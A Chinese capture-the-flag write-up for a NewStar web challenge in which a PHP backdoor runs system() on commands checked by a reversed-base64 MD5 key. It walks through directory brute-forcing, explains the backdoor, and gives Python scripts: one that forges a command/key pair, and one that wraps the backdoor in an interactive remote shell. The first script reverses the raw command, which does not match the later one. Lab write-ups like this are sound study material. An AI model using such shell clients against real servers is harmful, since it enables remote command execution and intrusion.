
首先进入靶场

没有任何提示,尝试爆破目录

好,发现一个机器人txt,进去看看

不让看,还提示了新页面,继续跟上

后门到手了,接下来分析一下:
execute_cmd($cmd)
函数接收一个参数$cmd
,并使用system()
函数执行该命令。system()
函数是PHP中用于执行外部程序并显示其输出的函数。当这个函数被滥用时,它可能导致远程代码执行(RCE)漏洞。decrypt_request($cmd, $key)
函数用于解密和验证传入的命令字符串$cmd
。它首先使用base64_decode()
函数解码密钥$key
。然后,它反转命令字符串$cmd
,并计算反转后的字符串的MD5哈希值。如果这个哈希值与解码后的密钥不匹配,则脚本将终止执行并显示“Invalid key”错误。如果匹配,则对命令字符串进行Base64解码,并返回解码后的字符串。脚本检查是否通过POST请求提交了cmd
和key
参数。如果两个参数都存在,则使用decrypt_request()
函数解密并验证命令,然后执行该命令。如果参数不存在,则高亮显示当前文件的内容。
那么接下来来写个脚本尝试碰撞合适的值:
import hashlib
import base64
import random
import string
def generate_random_string(length=8):
return ”.join(random.choices(string.ascii_letters + string.digits, k=length))
def md5_hash(input_string):
hasher = hashlib.md5()
hasher.update(input_string.encode(‘utf-8’))
return hasher.hexdigest()
def base64_encode(input_string):
return base64.b64encode(input_string.encode(‘utf-8’)).decode(‘utf-8’)
def base64_decode(input_string):
return base64.b64decode(input_string.encode(‘utf-8’)).decode(‘utf-8’)
def find_matching_pair():
while True:
cmd = generate_random_string()
reversed_cmd = cmd[::-1]
cmd_md5 = md5_hash(reversed_cmd)
key = base64_encode(cmd_md5)
if base64_decode(key) == cmd_md5:
print(f”Found matching pair!\ncmd: {cmd}\nkey: {key}”)
break
find_matching_pair()
跑出了一对
cmd: PpI3voGl
key: NzY0Yzg4NTQ5M2RmZWZhZTkxOWZmNzQzMzUxNzY0MDU=
然后我们需要对cmd进行base编码,得到结果
接下来进行post传参,还是使用python进行,提交后初flag。
这题的出法不鼓励手搓!!!先编码再逆序,执行一个指令都费劲,flag 位置没猜对就得再搓一遍。只要脚本写好,这题完全可以得到一个简洁的交互式 shell:

附代码:
python
import requests
import base64
import hashlib
print("[+] Shell for newstar_zhixieweiji")
url = input("[+] Enter the target URL: ")
def execute_command(cmd):
cmd_encoded = base64.b64encode(cmd.encode()).decode()
cmd_reversed = cmd_encoded[::-1]
hashed_reversed_cmd = hashlib.md5(cmd_reversed.encode()).hexdigest()
encoded_key = base64.b64encode(hashed_reversed_cmd.encode()).decode()
payload = {'cmd': cmd_encoded,'key': encoded_key}
response = requests.post(url, data=payload)
return response.text[:-1]
hostname = execute_command("hostname")
username = execute_command("whoami")
while True:
directory = execute_command("pwd")
command = input(f"{username}@{hostname}:{directory}$ ")
output = execute_command(command)
print(output)